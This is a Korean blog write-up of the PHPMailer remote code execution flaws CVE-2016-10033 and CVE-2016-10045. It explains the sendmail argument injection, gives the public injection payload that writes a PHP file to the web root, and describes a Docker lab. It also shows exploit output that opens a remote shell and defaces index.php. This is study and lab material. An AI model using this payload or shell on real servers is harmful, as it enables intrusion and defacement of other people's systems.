티스토리 뷰


1. 개요

PHP 오픈 소스 라이브러리 중 전자메일의 송수신에 사용되는 PHP 라이브러리(PHPMailer)에서 임의 코드 실행 취약점 발견

 

※ PHPMailer란? : 사용자에게 SMTP를 포함한 다양한 방법으로 전자메일을 보낼 수 있도록 하는 PHP 라이브러리로, PHP 웹 사이트와 WordPress, Drupal, 1CRM, Yii, Joomla 등의 CMS에서 사용


2. 내용

공격자가 메일 전송시 '보내는 사람'메일 주소 입력값의 유효성 검사를 우회하여 임의 코드를 실행할 수 있는 취약점(CVE-2016-10033)

- CVE-2016-10033 취약점 패치를 우회할 수 있는 취약점(CVE-2016-10045)


3. 영향 받는 버전

PHPMailer 5.2.17 이하 버전

PHPMailer 5.2.19 이하 버전 (CVE-2016-10045)


4. 상세 내용

PHPMailer는 메일을 전송하는데 있어 php의 mail()함수를 기본으로 사용

전송에 사용되는 mailSend()함수는 아래와 같다.


/* The transport is implemented using the function: */
 
protected function mailSend($header, $body)
{
    $toArr = array();
    foreach ($this->to as $toaddr) {
        $toArr[] = $this->addrFormat($toaddr);
    }
    $to = implode(', ', $toArr);
 
    $params = null;
    //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
    if (!empty($this->Sender)) {
        $params = sprintf('-f%s', $this->Sender);
    }
    if ($this->Sender != '' and !ini_get('safe_mode')) {
        $old_from = ini_get('sendmail_from');
        ini_set('sendmail_from', $this->Sender);
    }
    $result = false;
    if ($this->SingleTo and count($toArr) > 1) {
        foreach ($toArr as $toAddr) {
            $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);


MailSend()함수는 아래와 같은 파라미터값을 mail()함수로 전달하게 되는데 전달되는 파라미터에는 PHP 메뉴얼에 따라 시스템에 설치된 Sendmail 바이너리에 추가 매개 변수를 전달할 수 있는 다섯번째 매개 변수 $params가 포함된다.


$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

 

PHP 메뉴얼 : http://php.net/manual/en/function.mail.php

 

PHP 메뉴얼을 보게되면, mailSend() 함수 전송 방법 중 additional_parameters 파라미터를 이용하여 파라미터값을 추가할 수 있다.

메뉴얼 예제에 나와있듯이 $params 파라미터값에 -f 옵션을 이용하여 파라미터를 추가 할수 있다.



 

추가되는 파라미터 값은 Sender String을 통해 setFrom() 함수에서 유효성 검사한다.


$params = sprintf('-f%s', $this->Sender);

 

setFrom()함수 내용은 아래와 같다.

public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }

setForm()함수는 전송되는 입력값의 유효성을 검사를 하게 된다. 

※ preg_replace를 통해 개행문자(\r\n)를 빈칸으로 치환한 후, trim함수를 통해 공백 제거하는데 이는 개행 방지 목적.

 

setForm()함수에서 유효성 검사에 의하여 다음과 같은 입력된 값에 대해서 거부하게 된다.

 

 

Vulmon -AdditionalParams Test@test.com

 

 

 

mail () 함수에서 Sendmail에 비정상적인 추가 매개 변수가 들어오는 것을 방지하고 있다.



그러나 RFC3696 규약에 따르면, 입력값에 ("")를 사용할 시 공백 및 특수 문자등을 사용할 수 있다. 그렇기 때문에 아래와 같이 입력 될 수 있다.

 

 

"Vulmon -AdditionalParams Test"@test.com

 

 

이를 바탕으로 PHPMailer의 mail () 함수가 /usr/bin/sendmail을 아래와 같이 실행하게 된다.


 

Arg no. 0 == [/usr/sbin/sendmail]

Arg no. 1 == [-t]

Arg no. 2 == [-i]

Arg no. 3 == [-fVulmon -AdditionalParams -Test@test.com]

 

 

위와 같이 전송된 구문은 공격자에겐 의미가 없습니다. 왜냐하면 Arg no.3라는 하나의 인수안에 추가 파라미터(-AdditionalParams -Test) 값이 같이 전달되기 때문이다.

그러나 추가 시스퀀스 "\"를 삽입하여 전송하게 되면 추가된 파라미터 값들은 Arg no.3 인수에서 빠져나와 독립적인 인수로 전달할 수 있도록 한다. 

(RFC 3696 규약 참조) 

 

"Vulmon \" -AdditionalParams -Test"@test.com



위 와 같이 전송하게 되면 아래와 같이 실행하게 된다

 

Arg no. 0 == [/usr/sbin/sendmail]

Arg no. 1 == [-t]

Arg no. 2 == [-i]

Arg no. 3 == [-fVulmon\]

Arg no. 4 == [-AdditinalParams]

Arg no. 5 == [-Test"@test.com]

 

 

이를 보았을때 Sendmail에 파라미터 4,5를 추가하여 전송할 수 있다.

이를 바탕으로 공격자는 이를 이용하여 임의 코드 실행 코드를 전송 할 수있게 된다.


공개된 POC 코드는 다음과 같다.



$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';

$msg_body = "<?php phpinfo(); ?>";

 

Arg no. 0 == [/usr/sbin/sendmail]

Arg no. 1 == [-t]

Arg no. 2 == [-i]

Arg no. 3 == [-fattacker\]

Arg no. 4 == [-oQ/tmp/]

Arg no. 5 == [-X/var/www/cache/phpcode.php]

Arg no. 6 == [some"@email.com]

 

  

no.3 - \"를 사용하여 이후 값들을 추가 파라미터로 인식되도록 설정

no.4 - oQ 옵션을 통해 큐 디렉토리를 생성하여 Queue 저장

no.5 - X 옵션을 이용하여 /var/www/cache/phpcode.php파일을 생성하여 전송 로그를 저장

no.6 - @ 앞에 "를 재입력하여 문장을 끝냄

 

msg body 부분의 php코드(<?php phpinfo(); ?>)를 실행하여 phpcode.php 값을 저장한다.

이후 phpcode.php에 접속하면 phpinfo 페이지를 확인 할 수 있게 된다.

 


5. PoC 테스트

Victim 구성

OS : CentOS 6.8

 

EPEL 레파지토리 구성

# yum install http://ftp.riken.jp/Linux/fedora/epel/6/i386/epel-release-6-8.noarch.rpm

 

커널 및 OS 업그레이드

# yum update -y

업데이트 후 재부팅 필요.

 

EPEL 레파지토리로 부터 docker 패키지 설치

# yum -y install docker-io

* docker는 32bit 운영체제에서는 동작하지 않는다. OS버전 확인 할것.

 

Docker를 통한 POC 환경 다운로드 및 실행

# docker run --rm -it -p 8088:80 vulnerables/cve-2016-10033

* docker는 리눅스 커널버전 2.x버전에선 동작하지 않는다. 커널 업데이트를 통해 커널 버전 3.10이후로 업데이트 할 것.

 

PoC 페이지 확인

http://192.168.1.55:8088 (VictimIP:Port)




 

Attacker로 부터 접근 가능하도록 네트워크 설정

# iptables -A PREROUTING -t nat -p tcp -d 인터페이스 IP --dport 8088-j DNAT --to DockerIP:Port

 

Attacker 구성

exploit 코드 다운로드

링크 : https://github.com/opsxcq/exploit-CVE-2016-10033

 

 

POC 코드 실행 및 확인

 


# ./exploit.sh 192.168.1.55:8088(VictimIP:Port)

[+] CVE-2016-10033 exploit by opsxcq

[+] Exploiting 192.168.1.55:8088

[+] Target exploited, acessing shell at http://192.168.1.55:8088/backdoor.php

[+] Running whoami

www-data

RemoteShell> echo 'Defaced' > /www/index.php

[+] Running echo 'Defaced' > /www/index.php

RemoteShell> echo '<?php phpinfo(); ?>' > /www/phpinfo.php

[+] Running echo '<?php phpinfo(); ?>' > /www/phpinfo.php

 



 


 


6. 참고 사이트

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

https://github.com/opsxcq/exploit-CVE-2016-10033

http://php.net/manual/en/function.mail.php

https://www.rfc-editor.org/rfc/pdfrfc/rfc3696.txt.pdf




이해를 돕고자 최대한 자세하게 적으려고 하였으나 이해 안되는 부분이나, 궁금한 사항은 댓글로 문의 주시면 답변 드리도록 하겠습니다.



댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함